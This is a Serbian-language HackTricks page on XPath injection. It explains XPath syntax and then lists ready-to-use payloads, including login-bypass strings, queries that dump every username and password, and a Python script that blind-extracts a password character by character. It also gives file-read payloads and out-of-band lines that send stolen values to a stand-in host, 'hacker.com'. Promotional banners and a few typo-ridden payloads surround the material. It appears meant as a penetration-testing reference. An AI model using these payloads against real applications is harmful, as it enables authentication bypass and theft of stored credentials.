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# XPATH ubacivanje
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< details >
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< summary > < strong > Naučite hakovanje AWS-a od nule do heroja sa< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
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Drugi načini podrške HackTricks-u:
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* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
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* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
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< / details >
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< figure > < img src = "../.gitbook/assets/image (377).png" alt = "" > < figcaption > < / figcaption > < / figure >
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**Hakerski uvidi**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
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**Vesti o hakovanju u realnom vremenu**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
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**Poslednje najave**\
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi
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## Osnovna sintaksa
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Tehnika napada poznata kao XPath Injection se koristi za iskorišćavanje aplikacija koje formiraju XPath (XML Path Language) upite na osnovu korisničkog unosa radi upita ili navigacije kroz XML dokumente.
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### Opisane čvorke
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Izrazi se koriste za izbor različitih čvorova u XML dokumentu. Ovi izrazi i njihovi opisi su sumirani u nastavku:
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* **nodename**: Izabrani su svi čvorovi sa imenom "nodename".
* **/**: Izbor se vrši od korenskog čvora.
* **//**: Izabrani su čvorovi koji se podudaraju sa selekcijom od trenutnog čvora, bez obzira na njihovu lokaciju u dokumentu.
* **.**: Izabran je trenutni čvor.
* **..**: Izabran je roditelj trenutnog čvora.
* **@**: Izabrani su atributi.
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### Primeri XPath-a
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Primeri putanja izraza i njihovi rezultati uključuju:
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* **bookstore**: Izabrani su svi čvorovi nazvani "bookstore".
* **/bookstore**: Izabran je korenski element bookstore. Napomenuto je da se apsolutna putanja do elementa predstavlja putanjom koja počinje kosom crtom (/).
* **bookstore/book**: Izabrani su svi čvorovi knjiga koji su deca čvora bookstore.
* **//book**: Izabrane su sve knjige u dokumentu, bez obzira na njihovu lokaciju.
* **bookstore//book**: Izabrane su sve knjige koje su potomci elementa bookstore, bez obzira na njihov položaj ispod elementa bookstore.
* **//@lang**: Izabrani su svi atributi nazvani lang.
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### Korišćenje predikata
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Predikati se koriste za preciziranje selekcija:
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* **/bookstore/book\[1]**: Izabran je prvi čvor knjige dete elementa bookstore. Radno rešenje za IE verzije 5 do 9, koje indeksiraju prvi čvor kao \[0], je postavljanje SelectionLanguage na XPath putem JavaScript-a.
* **/bookstore/book\[last()]**: Izabrana je poslednja knjiga dete elementa bookstore.
* **/bookstore/book\[last()-1]**: Izabrana je predposlednja knjiga dete elementa bookstore.
* **/bookstore/book\[position()< 3 ]** : Izabrane su prve dve knjige dete elementa bookstore .
* **//title\[@lang ]**: Izabrani su svi naslovi sa atributom lang.
* **//title\[@lang ='en']**: Izabrani su svi naslovi sa vrednošću atributa "lang" jednog "en".
* **/bookstore/book\[price>35.00]**: Izabrane su sve knjige elementa bookstore sa cenom većom od 35.00.
* **/bookstore/book\[price>35.00]/title**: Izabrani su svi naslovi knjiga elementa bookstore sa cenom većom od 35.00.
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### Tretiranje nepoznatih čvorova
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Zvezdice se koriste za podudaranje nepoznatih čvorova:
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* **\***: Podudara se sa bilo kojim element čvorom.
* **@**\*: Podudara se sa bilo kojim atributnim čvorom.
* **node()**: Podudara se sa bilo kojim čvorom bilo kog tipa.
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Dodatni primeri uključuju:
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* **/bookstore/\***: Bira sve čvorove dece elementa bookstore.
* **//\***: Bira sve elemente u dokumentu.
* **//title\[@\*]**: Bira sve naslove sa barem jednim atributom bilo kog tipa.
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## Primer
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```xml
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<?xml version="1.0" encoding="ISO-8859-1"?>
< data >
< user >
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< name > pepe< / name >
< password > peponcio< / password >
< account > admin< / account >
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< / user >
< user >
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< name > mark< / name >
< password > m12345< / password >
< account > regular< / account >
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< / user >
< user >
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< name > fino< / name >
< password > fino2< / password >
< account > regular< / account >
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< / user >
< / data >
```
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### Pristupanje informacijama
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```
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All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3 *3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
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### Identifikacija i krađa šeme
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```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count (root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count (a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count (b) = 0
and count(/*[1]/*[2]/*) = 3 #count (c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count (d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count (e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count (f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count (g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
< root >
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< a >
< b > < / b >
< / a >
< c >
< d > < / d >
< e > < / e >
< f >
< h > < / h >
< / f >
< / c >
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< / root >
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>` is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```
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## Bypass autentifikacije
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### **Primer upita:**
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```
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string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
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### **OR zaobilaženje u korisničkom imenu i lozinci (isti podatak u oba)**
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```
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' or '1'='1
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" or "1"="1
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' or ''='
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" or ""="
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string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
```
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### **Zloupotreba null ubrizgavanja**
```
Username: ' or 1]%00
```
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### **Dvostruki ILI u korisničkom imenu ili u lozinci** (je validan sa samo 1 ranjivim poljem)
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VAŽNO: Primetite da je ** "i" prva operacija koja se vrši**.
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```
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Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))< 10 or ' #Select account with length ( name )< 10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```
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## Izvlačenje stringova
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Izlaz sadrži stringove i korisnik može manipulisati vrednostima radi pretrage:
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```
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/user/username[contains(., '+VALUE+')]
```
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```
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') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```
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## Slepa eksploatacija
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### **Dobijanje dužine vrednosti i izvlačenje putem poređenja:**
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```bash
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' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
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... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
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```
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### **Python Primer**
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```python
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import requests, string
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flag = ""
l = 0
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alphabet = string.ascii_letters + string.digits + "{}_()"
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for i in range(30):
r = requests.get("http://example.com?action=user& userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print ("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user& userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
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```
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### Pročitaj fajl
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```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```
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## Iskorišćavanje vanjskog kanala (OOB Exploitation)
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```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
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### Automatski alat
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* [xcat ](https://xcat.readthedocs.io/ )
* [xxxpwn ](https://github.com/feakk/xxxpwn )
* [xxxpwn_smart ](https://github.com/aayla-secura/xxxpwn_smart )
* [xpath-blind-explorer ](https://github.com/micsoftvn/xpath-blind-explorer )
* [XmlChor ](https://github.com/Harshal35/XMLCHOR )
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## Reference
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection )
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* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010) ](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\ ))
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* [https://www.w3schools.com/xml/xpath\_syntax.asp ](https://www.w3schools.com/xml/xpath\_syntax.asp )
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< figure > < img src = "../.gitbook/assets/image (377).png" alt = "" > < figcaption > < / figcaption > < / figure >
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Pridružite se [**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove!
2023-02-27 09:28:45 +00:00
2024-04-07 04:23:52 +00:00
**Uvidi u hakovanje**\
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Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
2023-02-27 09:28:45 +00:00
2024-02-10 13:11:20 +00:00
**Vesti o hakovanju u realnom vremenu**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
2023-02-27 09:28:45 +00:00
2024-04-07 04:23:52 +00:00
**Poslednje najave**\
Budite informisani o najnovijim nagradama za pronalaženje bagova i važnim ažuriranjima platformi
2023-02-27 09:28:45 +00:00
2024-02-10 13:11:20 +00:00
**Pridružite nam se na** [**Discord-u** ](https://discord.com/invite/N3FrSbmwdy ) i počnite da sarađujete sa vrhunskim hakerima danas!
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< details >
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< summary > < strong > Naučite hakovanje AWS-a od početnika do stručnjaka sa< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
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Drugi načini podrške HackTricks-u:
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* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU** ](https://github.com/sponsors/carlospolop )!
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* Nabavite [**zvanični PEASS & HackTricks swag** ](https://peass.creator-spring.com )
* Otkrijte [**The PEASS Family** ](https://opensea.io/collection/the-peass-family ), našu kolekciju ekskluzivnih [**NFT-ova** ](https://opensea.io/collection/the-peass-family )
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* **Pridružite se** 💬 [**Discord grupi** ](https://discord.gg/hRep4RUj7f ) ili [**telegram grupi** ](https://t.me/peass ) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) i [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repozitorijume.
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< / details >